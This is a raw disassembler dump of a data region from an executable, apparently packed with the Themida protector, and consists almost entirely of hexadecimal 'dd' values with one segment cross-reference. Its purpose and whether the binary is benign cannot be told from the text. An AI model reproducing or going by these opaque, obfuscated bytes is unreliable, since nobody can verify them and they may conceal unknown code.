dd 6C6F23D4h, 5996C726h, 0A8D0CBDh, 5EB3ACADh
dd 3D0E65B3h, 0B35EB33Ch, 0B3E869CEh, 4239B35Eh, 135E6FC4h
dd 1A45A0E6h, 6E7A01DBh, 73DBF43Dh, 511BE706h, 0DAE01965h
dd 0DCA8D3Ch, 1E4B5785h, 0F27D4E8Fh, 1D648705h, 3, 6E9DA721h
dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h
dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 72682404h, 8900001Fh
dd 8953241Ch, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h
dd 0E5BD5524h, 816D871Bh, 9ED1DCEDh, 8BEB8967h, 0C483242Ch
dd 4EC8104h, 89000000h, 4812424h, 424h, 0EC835D00h, 241C8904h
dd 8B08458Fh, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
dd 34FF5C24h, 0C4835B24h, 309DE904h, 5804FFFAh, 334AA798h
dd 6046A30Bh, 169F296Fh, 4EF9B877h, 0C50305E8h, 4FD7E0FFh
dd 92CC12F3h, 1D004DB5h, 675E35BAh, 0CD5E69CFh, 3FAC6D67h
dd 378A246Bh, 0B6212DE8h, 0AC500075h, 331A4989h, 0DF98789Eh
dd 0F8F978DBh, 56D242B7h, 0BFD02497h, 0BD143B66h, 6693720Dh
dd 0A5B71C64h, 7F93AC6h, 23A763DAh, 0DB156F55h, 4F1778F3h
dd 0C8D65A4Ch, 0EF52E65h, 9E662012h, 852E2E08h, 0B5B6567Ch
dd 0E972124Fh, 337C1EF4h, 0E1CC1803h, 0AAB710D4h, 0F6084EE7h
dd 0C5941A24h, 8D8D3171h, 5E850B3h, 0AD958952h, 5805E232h
dd 0BE98D89h, 85C705E2h, 5E20761h, 5A3Ch, 1CE18589h, 85C705E2h
dd 5E21B55h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A9C35242h
dd 191B8763h, 800F83F4h, 4, 5BF28B51h, 325DB5FFh, 9D8905E2h
dd 5E22D11h, 0B1595FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 33474AC3h, 0DE976h, 70100000h
dd 0A8D791AFh, 0BCDC7DF2h, 6A3D8B1Eh, 0B995FF00h
db 0Ah, 0E2h
word_552D6A dw 8B05h ; DATA XREF: Themida_:004F09C8o
dd 485FEBC0h, 0E22E1A16h, 0B38B64F9h, 93BABB48h, 0DE9B58DDh
dd 5E847995h, 31F0B0FAh, 8866E7F5h, 6B50588Ch, 0E03C7FE3h
dd 54653D94h, 2BFF1109h, 0FBEB02EBh, 6C18E944h, 5B180E15h
dd 0A49B4E31h, 0F058ACF4h, 0C3CD0A29h, 4376166Ch, 0BF017F5Eh
dd 3E7CA423h, 733DC2B6h, 73E778DDh, 3B27168Fh, 5E8668Ah
dd 9F000000h, 0F947B0E7h, 5830Fh, 81660000h, 5839C6DFh
dd 1931958Bh, 0C08105E2h, 590Ah, 0AC19D89h, 0F62B05E2h
dd 8EE9BE60h, 9E95C52h, 8000000h, 171CB81Bh, 52E3D057h
dd 301C8B61h, 81CFB70Fh, 2A26BDF3h, 29BA6625h, 91C38125h
dd 662A48C1h, 8129BAB9h, 433975EBh, 10E80Ch, 0C6270000h
dd 87C613A3h, 10CB5C84h, 45245BBDh, 0F510A98h, 89h, 895F5F00h
dd 13E8301Ch, 7A000000h, 681188B1h, 1411BC05h, 3EB3E122h
dd 36808BA3h, 0B966131Dh, 8B5AD564h, 0E21EB18Dh, 3EE8305h
dd 21BD8Bh, 804E05E2h, 0FE815AE5h, 0FFFFA7B4h, 0FF83850Fh
dd 8A0FFFFFh, 5, 4FE28166h, 9026EB86h, 0EC33B61Bh, 6E558EAFh
dd 6C6C6474h, 6C6C642Eh, 46218800h, 0D25D3407h, 0D86A56A3h
dd 4, 0
dd 676E900h, 38680000h, 0E905E853h, 0FFFA2DFFh, 0E853C868h
dd 2DF5E905h, 8768FFFAh, 0E905E854h, 0FFFA2DEBh, 0E8554868h
dd 2DE1E905h, 768FFFAh, 0E905E856h, 0FFFA2DD7h, 0E8571068h
dd 2DCDE905h, 0AF29FFFAh, 5A9AEFEBh, 9F1B05Eh, 0AD281985h
dd 5D9EE3EFh, 553C4B57h, 810D9348h, 6F6B39A0h, 36DCE01Ah
dd 9A008673h, 4D0EABDAh, 84F9F0EBh, 0C267E699h, 0F9F0EB91h
dd 14D2EB40h, 686C2FAEh, 0B95A1B2Ch, 0BC8BFC18h, 30C42Bh
dd 0AEFE0000h, 1AA3E7EFh, 81E4A257h, 4965099Eh, 56C7C530h
dd 0C5E6538Dh, 0B35F5D9Ah, 18691B28h, 0E5B329FCh, 750A74F6h
dd 0B175CA01h, 7FB42144h, 7B189553h, 4377D057h, 9A01FAB9h
dd 7CF15EADh, 6FF9FAB8h, 37EA1DE9h, 943FE614h, 20Fh, 0CA740FAEh
dd 59FE6145h, 1FAC3DDh, 6EC93F74h, 0C5A56BC0h, 52D5F966h
dd 0EA0BC1F5h, 3C2318CBh, 0B5B1CBDh, 0BD8A33EAh, 0F90C904Ah
dd 0F7C06B7Ch, 66C3466Ah, 0CE0C8128h, 3275F443h, 0A6DBC7C5h
dd 0BDABDA31h, 78415C82h, 7DBA00F9h, 346C442Bh, 0AF127D08h
dd 56000004h, 8BFEE4A0h, 0FE434F4Bh, 5928B6FAh, 8FF2189Eh
dd 2D5A404Eh, 3E847946h, 642AD190h, 0CDD10B7Eh, 317760C1h
dd 0FF58A995h, 0F9F0EA7Eh, 6E2CEE97h, 0EFD82369h, 7EDB4E62h
dd 1FAE6E0h, 0B2963C0Bh, 0A68A97B7h, 0EE9006A3h, 7CCB0418h
dd 45BD2B0Ch, 50FD9F72h, 0B4ACD7Ch, 93FCCDD1h, 0A59B4927h
dd 8D7A81FEh, 1CBDAC80h, 0ABBDC286h, 6C2F5229h, 1142E76Bh
dd 1B4C31D2h, 0F4CDFDBh, 0D3FF3403h, 0C623696Eh, 5A1B6EECh
dd 1F8BEABFh, 0A6000004h, 1B6E7430h, 4E33DFDBh, 0A998068Ah
dd 1F62682Eh, 0BDCAD0DEh, 8E14C9D6h, 0F4BA2100h, 5D619BEEh
dd 8107F0B1h, 8F285905h, 0F9F0EACEh, 6EDC1E07h, 0EFB32969h
dd 0F19E6BB2h, 0EBEBAADDh, 10931EAFh, 0C4E5A951h, 0FABDEB7Bh
dd 0A12D1A01h, 1DDE8100h, 66C77497h, 0F9FABDF5h, 0BD76572Ch
dd 0C3377690h, 0BDED6EFFh, 4F24F9FAh, 0ADEC6F12h, 0F45D6E2Ch
dd 7E30F67h, 1F5EC1BEh, 7336DCDAh, 0C7CB0A86h, 0E4518E14h
dd 1445E265h, 0CDF7D2EFh, 47CE5576h, 0EFF263C4h, 0EE2EF7D2h
dd 0A9CF09D8h, 0C815A6ACh, 611283F8h, 463F88C5h, 0D572F5D9h
dd 0A306C69h, 7EAECBA0h, 0CDF89826h, 360D9B8h, 0EFE90000h
dd 9A5A2FABh, 49B1F01Eh, 0EDE85945h, 9D5E23AFh, 957C8B17h
dd 0C1CDD308h, 0AF2B7960h, 769C20DAh, 0DAC0C633h, 0D4EEB1Ah
dd 0C4F9F0EDh, 696E9D59h, 0B90F40E9h, 69C6FC18h, 31A6E93Ch
dd 2089D27Ch, 0FC18A82Fh, 0C28089E6h, 0FFFA2DE6h, 0D8E16AB1h
dd 0DB4E62EFh, 0FA814C7Eh, 59C8A701h, 0FD8E416h, 16DC61Bh
dd 0FFC0000h, 6448D591h, 0C3D644E5h, 320901FAh, 0BA1469CEh
dd 0B3D0F4B7h, 934FE89Fh, 0BAFAE5CEh, 0DC41BECDh, 42D079E8h
dd 0CE00FF2Bh, 8F4C4C8Fh, 4B1D401h, 0D50267A3h, 0A4E79AD7h
dd 317D7F33h, 59FE61EAh, 0FAFE2A18h, 990572C9h, 0C692FA8h
dd 35E461Ah, 9F69C85Dh, 26000002h, 9BEEF4B0h, 0CEB35F5Bh
dd 2918860Ah, 9FE2E8AEh, 3D4A505Eh, 0E944956h, 743AA180h
dd 0DDE11B6Eh, 1877031h, 0FA8D985h, 0F9F0EC4Eh, 0AE5C9E87h
dd 0CAA55939h, 8275D6A0h, 3F74E104h, 7A36A3AEh, 6FEC3F7Dh
dd 0C19A0F32h, 489A6AAh, 2D9AA13Ah, 0BC1D0C20h, 1FA39A6h
dd 0A0E61352h, 2EB48307h, 761B5B3Ah, 0C8A2F52h, 470419CFh
dd 0FD9FB8E8h, 0B813FB4h, 0FC0F8D48h, 88956E7Fh, 0CE04A5A4h
dd 619B5C30h, 1906F30Ah, 30B33235h, 91ACA697h, 7430A45Ch
dd 0C1BEA411h, 26039FF8h, 0DDAAA177h, 0A8EEEBAAh, 0BB01F6B9h
dd 34D2EB60h, 0C90C8475h, 2F6996C3h, 2C63D649h, 1E0F659h
dd 6F690000h, 1ADAAF2Bh, 0C931709Eh, 6D68D9C5h, 1DDEA32Fh
dd 15FC0B97h, 414D5388h, 2FABF9E0h, 0F61CA05Ah, 5A4046B3h
dd 8DCE6B9Ah, 44F9F0EFh, 696E1DD9h, 7C7D3C23h, 0B9E253F4h
dd 4433FC18h, 6E7FFC0Fh, 4165EAC7h, 565C9FDEh, 0BDAD0A75h
dd 5401FABDh, 18F5F31Fh, 3B3C9D7Bh, 0EAFC18B9h, 0BE21209Dh
dd 3DB9F7FFh, 7CA92279h, 0E8C873DBh, 0F8C1B16Eh, 13BF09Fh
dd 3B2E0502h, 62E57F78h, 0A60A8DC9h, 0CA8DBCE9h, 4B4F870Bh
dd 68D9CD1Eh, 53D2296Fh, 28ACEA10h, 67DC196Ch, 0C6E06D46h
dd 2F528F15h, 0E970958Ah, 0C0473C07h, 2F525881h, 0D2EE4DBAh
dd 15B24EAFh, 0F7C85A24h, 704986FDh, 0A05417AAh, 6B37A5E4h
dd 70EAEF52h, 5ADCFD3Bh, 9925D7EAh, 3170F72Ch, 36A7C6CCh
dd 2C318E95h, 95460938h, 0B6D5D105h, 0B0FFC805h, 58B4E31h
dd 249F5BA4h, 0EAAD0A2Ah, 125BA2EEh, 99E65DC9h, 0F891C5C9h
dd 0D7ECB7D2h, 7E000000h, 0D3963C78h, 67B6723h, 61C0CED2h
dd 0D7AA3076h, 0C5729826h, 565C811Eh, 0BC02F948h, 0E5A95316h
dd 494F88F9h, 0C760814Dh, 0F9F0EE96h, 1804C64Fh, 51D0577Bh
dd 85A6EAEEh, 0FC18B9D4h, 6A95360Dh, 10BBACDh, 81E45302h
dd 70D9995Eh, 0F9F0EBFFh, 81265916h, 0F9F0EBD0h, 0D1FD2A01h
dd 0DA216790h, 0A0BECC7Dh, 0B1F7FEF8h, 0CD8E2B6Ah, 4FB003Ch
dd 64FCF82Fh, 4152E919h, 0E9DCA77h, 3E8272F4h, 8764E08h
dd 9A9D15CFh, 0BE200B6h, 0B0CA76Bh, 1F4751Dh, 0F5114EBBh
dd 0D572F574h, 0FB001564h, 0F465C6BDh, 2DFB0015h, 153A3B9Ch
dd 9CEBFB00h, 1EDB8627h, 13C20D98h, 0AEA87695h, 296F68D6h
dd 9D1BDCADh, 7492070Eh, 0D5ACE744h, 3FB4667h, 3000000h
dd 686E9DA7h, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h
dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 68F27883h
dd 110Ah, 68242C89h, 17F9h, 57243489h, 0C781E789h, 4, 8704EF83h
dd 895C243Ch, 6857242Ch, 7F343F14h, 81DFF75Fh, 0E36EA5EFh
dd 8BFE897Ah, 0C483243Ch, 602D6804h, 24890000h, 24048124h
dd 4, 868535Dh, 5B000000h, 3389EB01h, 2434FF5Bh, 4C4815Dh
dd 0FF000000h, 835E2434h, 9CE904C4h, 8FFFFA27h, 8859DC08h
dd 0F140CD09h, 0E8580CB8h, 0FFC50305h, 2117B1E0h, 0EA47EB77h
dd 459A806Ah, 0FDEF5605h, 0A3F2893Dh, 42B98D4Ah, 7E830h
dd 2D660000h, 57DC569h, 58F78B7Fh, 81D2B70Fh, 68E6C0h
dd 6800h, 8B660000h, 0FBE59F3h, 0FF7F1858h, 0B70F0134h
dd 8B665BFAh, 38EB81D3h, 81611E69h, 21F011EBh, 3FEBBF6Ch
dd 0C3813EBCh, 266B34F8h, 0AB36DF81h, 0F953793Ch, 0F08048Fh
dd 689h, 8FE68100h, 810D5094h, 21FE87E9h, 3840F73h, 52000000h
dd 0C1815AFCh, 7321FE83h, 5B9BBA66h, 97CCF981h, 850FFFFFh
dd 1Dh, 0F8F6B060h, 2EE961h, 0B41F0000h, 0B0C73346h, 9AEA8A67h
dd 2DB6B379h, 5DA55DF9h, 0C68166B9h, 7CE97515h, 0FFFFFFh
dd 0A23C21BEh, 13059908h, 26600740h, 0EA511304h, 8EBh
dd 16530000h, 0EFE9139Fh, 68000004h, 5E85A60h, 0FA269EE9h
dd 5AD868FFh, 94E905E8h, 68FFFA26h, 5E85C1Fh, 0FA268AE9h
dd 0B6F2E4FFh, 199D5928h, 404C8CFDh, 0AAF0E75Ah, 12A05D2Ch
dd 7987FF4h, 7FC2C8D6h, 0D9A8367Ch, 0E739F23h, 1FC7C3C9h
dd 0E01041E6h, 5CC1F9F0h, 276D6E9Eh, 5E5C9DC4h, 0E971682Bh
dd 18B90F40h, 3C69C6FCh, 57FCFFABh, 3B6BCC73h, 6A01FADFh
dd 6FA4E217h, 9F3E331Ch, 6C2DF9FAh, 9BE2B02Dh, 0F5C18952h
dd 0E6395FB2h, 4C8FCE3Fh, 0B9386546h, 2000002h, 0A3E7EFAEh
dd 97307C7Ch
dd 9885B1C9h, 7332B5B4h, 77E40783h, 0E7C0C430h, 0FAC3189Eh
dd 84C4B301h, 8917C285h, 14D3D730h, 0FA67FC9Ch, 0ACF653D6h
dd 0E702BDAEh, 9F847D88h, 0B13B4ABh, 9A08D364h, 0FEFBBAADh
dd 1C975364h, 88C5DC42h, 20BA3F02h, 0A70B9BECh, 0EE0B40A9h
dd 0FB3968EBh, 40C8ABFEh, 0E000003h, 63C6CCC8h, 0D6AB3773h
dd 31709E22h, 67DAC0C6h, 15A22876h, 0E6AC516Eh, 4C5289F8h
dd 0B5F9E346h, 199F5829h, 17B0F1FDh, 0F9F0E326h, 1874B6FFh
dd 51D0577Bh, 19A2E6EEh, 11264B0h, 8DBC8B02h, 78311CAh
dd 90EBB922h, 0F0E3BDB7h, 4EDE4BF9h, 901EDF90h, 8357C075h
dd 84CB1CCEh, 12985F53h, 2E2F888Bh, 0E7F9F0ACh, 99E65388h
dd 45CCC12h, 0C8A58C99h, 0B6000002h, 0EB5E4440h, 5E23AFEBh
dd 0B988169Ah, 0EF52783Eh, 8D3AA0EEh, 9E24D9E6h, 0C4CA3170h
dd 2D716BDEh, 9117C0A1h, 9F384975h, 0F9F0E3DEh, 18CC0E77h
dd 0E1528B7Bh, 0BB195AFFh, 73C8FC18h, 55B1D6DAh, 54C06918h
dd 0FB020190h, 6310798Ch, 51F9F065h, 5E81E4AAh, 89881399h
dd 0F0652F20h, 3489E6F9h, 0AAFE4232h, 0FCD1582Ch, 533FECEBh
dd 16Ch, 23696E97h, 906099D8h, 18B90637h, 2B60DFFCh, 49A7ACAFh
dd 18B96FE0h, 9CC9A6FCh, 0D86E4CEDh, 16A101FAh, 0F5E1D466h
dd 0FA6DDA2Bh, 65B11A6Dh, 0BC0DF796h, 85BBC891h, 5389F9FAh
dd 44B53C4Fh, 0DEDA0346h, 0C3089319h, 0A3A57796h, 0DD1B6DD3h
dd 4B6BA6E9h, 20C03FE6h, 0FA000000h, 0D0577B18h, 0FAD1C777h
dd 0DA211E01h, 0FAA1C07Dh, 0A195D3F9h, 0E62BB36Eh, 0A3183Fh
dd 0AE220000h, 14471339h, 0F19A270Dh, 0F04E22CDh, 0B3697CDh
dd 32BDC8CEh, 0E1A0FBC9h, 0A73DE868h, 3574FBBBh, 36A7C6C4h
dd 6F2DAA95h, 6624D51Ch, 9634EF78h, 5582FC18h, 83804B57h
dd 4F9B8AFh, 45E22DBEh, 1FD45B7h, 2F6E116Eh, 87FAE0AEh
dd 62234856h, 0D5046004h, 181D1B0h, 87710000h, 32A28703h
dd 0E1196876h, 857031DDh, 35A69B07h, 2DD4636Fh, 0B9256B90h
dd 78311C8h, 0EEF4B822h, 0B2585E9Bh, 65D673B2h, 0BCF9F0E5h
dd 6D6E35F1h, 4706BB27h, 7FFC0F93h, 555E0ADEh, 60794BAAh
dd 14B2F8E1h, 23696E2Eh, 506099D8h, 2DA9E6AAh, 1E01252Ah
dd 0FB0546B9h, 51D0AF01h, 3BA7EDEEh, 331E1186h, 40C3CF31h
dd 0BF61B9D2h, 96376C57h, 0FA33304Dh, 0D7D502F9h, 0F58576CBh
dd 0FA33E354h, 84532F9h, 0E5178019h, 22666D18h, 0EC93F299h
dd 0AB000000h, 0E58B7B18h, 5C755A22h, 7C1A5BFCh, 7CCBFC18h
dd 0F257CA07h, 201D79Eh, 0B44BD2Ah, 5F2AD4DFh, 3C23188Eh
dd 32034DABh, 78EF8F60h, 0F12B9EDFh, 0EFF8B7F9h, 2DC1D44h
dd 2FABE03Ah, 0BAD31863h, 0E552B199h, 60C948F9h, 0F9F139EFh
dd 0F1704926h, 0DC9F8208h, 40F15618h, 91F9F139h, 315C6DDAh
dd 0E96ACF4Eh, 0E3F9F139h, 0D1AEB4FAh, 394809AEh, 0A299F9F1h
dd 8284B019h, 47B01779h, 702D2E8Bh, 8FE4E078h, 5388CB52h
dd 95D53E4Dh, 612B5FA1h, 0EAB02995h, 5E5C9DECh, 815184CFh
dd 78703738h, 2491EEE0h, 575D9EC1h, 414D8D34h, 864EB13Ah
dd 501AFB02h, 47CA1C64h, 0B6D5D304h, 0CABAA405h, 0BCFAFDBCh
dd 0FFB3242Bh, 2C57B6FCh, 7870CA8Bh, 0F72C1BE0h, 9B1287BAh
dd 82CDB0FCh, 0EC5D4992h, 0F75EADEBh, 3, 6E9DA70Fh, 96D92C68h
dd 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h
dd 0C1009B21h, 0CF769519h, 0F2788307h, 81E28952h, 4C2h
dd 4EA8300h, 2474FF52h, 48F5A04h, 89535C24h, 4C381E3h
dd 83000000h, 1C8704EBh, 1C895C24h, 1F0C6824h, 2C890000h
dd 21685024h, 58333239h, 77425205h, 296E353Dh, 0C3893017h
dd 6DC38158h, 68C52A07h, 1D6Ch, 83242489h, 5D042404h, 8904EC83h
dd 3481241Ch, 4D40CC24h, 8458F35h, 0CC087581h, 8B354D40h
dd 8952242Ch, 4C281E2h, 83000000h, 148704C2h, 34FF5C24h
dd 0C4815B24h, 4, 0FA21BEE9h, 0B1DF8BFFh, 0C5B8FAFBh, 305E85Dh
dd 44E0FFC5h, 0C5215A2Ah, 2A535740h, 0E56DD842h, 0C354692h
dd 755D2AC4h, 833C8DA8h, 0BF1399FBh, 0B549805Dh, 9D09EEA3h
dd 0E12028A5h, 94469C11h, 0C50D3A8h, 7A35AF79h, 476505A7h
dd 0E34C9320h, 7B6EA54Dh, 6E083A79h, 8D2FC2A4h, 0E85F308Dh
dd 7E905h, 2D8E0000h, 0A1A217C1h, 0E98D894Ah, 6A05E20Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0C4E6C356h, 0BD090FA4h, 5E20AD5h, 76185C7h
dd 6A5805E2h, 0F5520000h, 5585C75Bh, 5E21Bh, 0E8000000h
dd 8, 5A382B7Eh, 621C7517h, 5ED7DF80h, 1CD1B5FFh, 858B05E2h
dd 5E21AA1h, 0B1595FFh, 0BD3305E2h, 5E20A5Dh, 95FF006Ah
dd 5E20AB9h, 4CEBC08Bh, 0D9941C47h, 94768102h, 1838897Bh
dd 0E0C92B55h, 1F9395Bh, 0F3C99C71h, 8E018C7Fh, 987C3E82h
dd 6541EABBh, 2B5A5460h, 379AB084h, 3BA480A9h, 594BA251h
dd 3EBAEC1Dh, 0B6EE40E4h, 419D5532h, 23BCEFD6h, 59FDFF53h
dd 35DFEF0Fh, 0B13EE853h, 8E32565Dh, 8E0666ACh, 0B1325655h
dd 0B13256ABh, 0E5A04AD5h, 0E4F490EAh, 0B1325675h, 0B13256BAh
dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh, 0BB3581AEh
dd 0A3325257h, 0BD325DABh, 42325AD5h, 0F23256EBh, 0F2325677h
dd 0B132EEB8h, 0E362565Dh, 0E96867A1h, 0E3626758h, 0E96867A4h
dd 803D0E8Fh, 0A0DBCA8Ah, 14325675h, 90BA7DC0h, 0EC06511Bh
dd 0E892F57Ch, 0A4FEA949h, 9E2D7CDh, 0B134BF9Eh, 46C456EAh
dd 22B09B11h, 0BE600627h, 0D06A0C6Ch, 85BB0EF4h, 0E9683773h
dd 0D0520438h, 0E36267DAh, 0E96867E5h, 0E9680E2Fh, 78B3302Ch
dd 0A5DBA5A3h, 1D3256AEh, 29495C22h, 0F565805Ah, 1C134F8h
dd 6D7DF8C3h, 2C59EC90h, 0D0EADDDCh, 0B13256CDh, 12E00B9Ah
dd 4E2C0FF7h, 0AA184367h, 38533748h, 583672AEh, 0B1325679h
dd 22B09BDEh, 5EFC9F8Dh, 0BAE8D352h, 246A0C0Fh, 0B5161222h
dd 0B1325A3Ch, 0E3EFE2EAh, 2FEB7656h, 1BA71AC5h, 0EB530EC6h
dd 216AC0F6h, 0B0DA5D57h, 8CA6B10Dh, 8832D5E7h, 441E8994h
dd 0B51612FCh, 0B1325053h, 75E5005Dh, 0E941B403h, 30F9CC12h
dd 0CAFF3062h, 0B13EBFB4h, 4C6656EAh, 48F21587h, 4DEC984h
dd 0BEAFED17h, 0EB539D19h, 0B1320E0Fh, 0B13256ABh, 0B13256D5h
dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
dd 0B1325675h, 0B13256BAh
dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh, 0EB325675h
dd 0D372BC3Bh, 34BF53B5h, 0B4D5E3CBh, 0EEA4D4DEh, 33BF5343h
dd 0B4DABCDAh, 0EEA8D463h, 0FFDA539Dh, 593256B3h, 0B1325626h
dd 0EEB4D469h, 0B13253BFh, 776056ABh, 53381F50h, 0E35A00EFh
dd 4EAEFECDh, 5324F70Fh, 0D0B7DB58h, 4E37B3D4h, 0D0B7DF87h
dd 0DB37B48Dh, 0A1323ED1h, 0F15A56EAh, 0DB325578h, 0EBE2A9BAh
dd 82469656h, 0EEB4D427h, 33BB53BFh, 0B4DA0921h, 0B23F166Ch
dd 82CADDEAh, 0E398A5B5h, 0B15A52D0h, 0D932564Dh, 0B13252AEh
dd 23CD563Dh, 0B4D070CAh, 6BB0DF8Fh, 0D037BEB5h, 0EEB4D3FEh
dd 0D1F15352h, 0B07BD49Ah, 0B132534Ch, 33F55617h, 0B4D05F0Eh
dd 0B13246D5h, 3A52958Bh, 596DD0CFh, 0B10DD5BFh, 0CEB17529h
dd 0BA4654BEh, 0B52229D4h, 76B158DFh, 76D8BDC1h, 0B13346ADh
dd 43D95675h, 0B222117Dh, 5A32565Dh, 0E4F13747h, 5952BADCh
dd 0B13256ABh, 84D8D78Fh, 3A37BE89h, 596D88C7h, 0B977DDBFh
dd 33B150D4h, 0B4DA0970h, 73FB3753h, 595256AFh, 0B13256D5h
dd 0E8D8D7B0h, 3A37BE16h, 596D8C08h, 6F806D58h, 0C537BEF1h
dd 3A0CDD6Ch, 0FE845974h, 0B075A0D4h, 0B236236Ah, 9A30BDACh
dd 3A711563h, 53393FD8h, 0A0BFDDABh, 8A37B456h, 8A3B2473h
dd 3237210Ch, 78D9522Ch, 0B946994Eh, 0B023EB33h, 6D953BFh
dd 595295CFh, 0B1325657h, 0D8D7F1h, 3A37BEB6h, 596D8C50h
dd 0B032EF70h, 710156BAh, 33B9FDAEh, 0B4DA0974h, 0EEECD4DEh
dd 72535343h, 0B132BEB5h, 306856EAh, 59518D9Fh, 0F8B790BFh
dd 0E737B457h, 0AE5F6FC6h, 1087A983h, 3C37B4BDh, 54483750h
dd 0E3E2A9EFh, 31323E25h, 0B15856BAh, 0EEB4E4A2h, 61CD5346h
dd 0B15A0C0Fh, 0DB32562Bh, 6B80A9D5h, 4E37BEB5h, 0E4F137A5h
dd 5952BA31h, 0B132565Dh, 98D8D7F4h, 3A37BE33h, 29DA5EDEh
dd 0E43256D7h, 0EEA4C415h, 8A6F539Dh, 5F475ACFh, 0B130D0B5h
dd 73FB37AEh, 3A67565Fh, 4DF6D547h, 59610183h, 0B13256EAh
dd 0ECD8D72Fh, 3A37BEDEh, 0CCB95E28h, 596401BEh, 0B1325660h
dd 904696A0h, 4E67AE5Eh, 596DC078h, 0C4090B70h, 0D72022B6h
dd 56B248D6h, 312CDC5Eh, 2CDAA6B4h, 5A3256ADh, 4D4FDF01h
dd 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh, 75B1BA25h
dd 0E06401AFh, 497791F8h, 0B13256D5h, 0EEF4D42Dh, 0B133539Dh
dd 0C4B956BAh, 0AFB93055h, 0EEB4EC25h, 0EEB953BFh, 0C5E95DA3h
dd 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh, 5BD9427Dh, 312CDD3Bh
dd 353DBE55h, 0B1325699h, 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh
dd 0B18ED27Ah, 4AB256BAh, 1DB659BFh, 313256AEh, 353DB5ACh
dd 0B1325631h, 0D6C9D7B3h, 29B65909h, 31325675h, 3054A65Dh
dd 0BEB259A6h, 0B132C72Ah, 41D1D657h, 0BE42AD2Bh, 0B132D351h
dd 0AFB930EAh, 31CAB5F5h, 0F346EE41h, 0C53768DDh, 9C0CD693h
dd 8FB26E23h, 4E0122C3h, 596D9057h, 0AFB930EFh, 0D7CAB1F5h
dd 59B3AD3Bh, 3A547629h, 41D5D6B0h, 30C9D731h, 0D121226Bh
dd 27A0A980h, 0EC37BEB5h, 0D0CE13FCh, 0B0CE2B39h, 0BB93528h
dd 0B4D057E7h, 77B0DD07h, 8837BEF4h, 0C36A66E9h, 1488DDBAh
dd 0E137B47Ch, 0EEF4D431h, 8D0B53B5h, 8C4D0E9Eh, 0F4F546BCh
dd 0B1325453h, 7635BDD5h, 0B133AEAFh, 0BB95675h, 0B4DA093Ch
dd 6A3949D6h, 6F0949DAh, 0ECB95922h, 494FD5A7h, 0B23122D5h
dd 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh
dd 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh
dd 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh
dd 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh
dd 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h, 0BF47C6D4h
dd 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h, 0B4DA09B5h
dd 23CD00FBh, 0B4DA094Fh, 0BB4696E1h, 3BF9EFEh, 0B4DA0958h
dd 3A6446B6h, 23CD0360h, 0B4DA09C1h, 46FC7DF6h, 0CCB1080Ch
dd 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh
dd 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h
dd 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh
dd 0B132BEB5h, 306856EAh, 5954ED9Fh, 0B977DDBFh, 0EEBCD4D4h
dd 78535346h, 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh
dd 0D7EEBCF4h, 0F4F55352h, 0B13256A5h, 4D7791AEh, 0B1325657h
dd 3A549698h, 77B091CBh, 0B037BEB5h, 0D7325675h, 21A2AD3Bh
dd 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h
dd 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh
dd 0B1D7D258h, 333156ABh, 0B4D048A0h, 53C9D6AAh, 0B1FCD27Ah
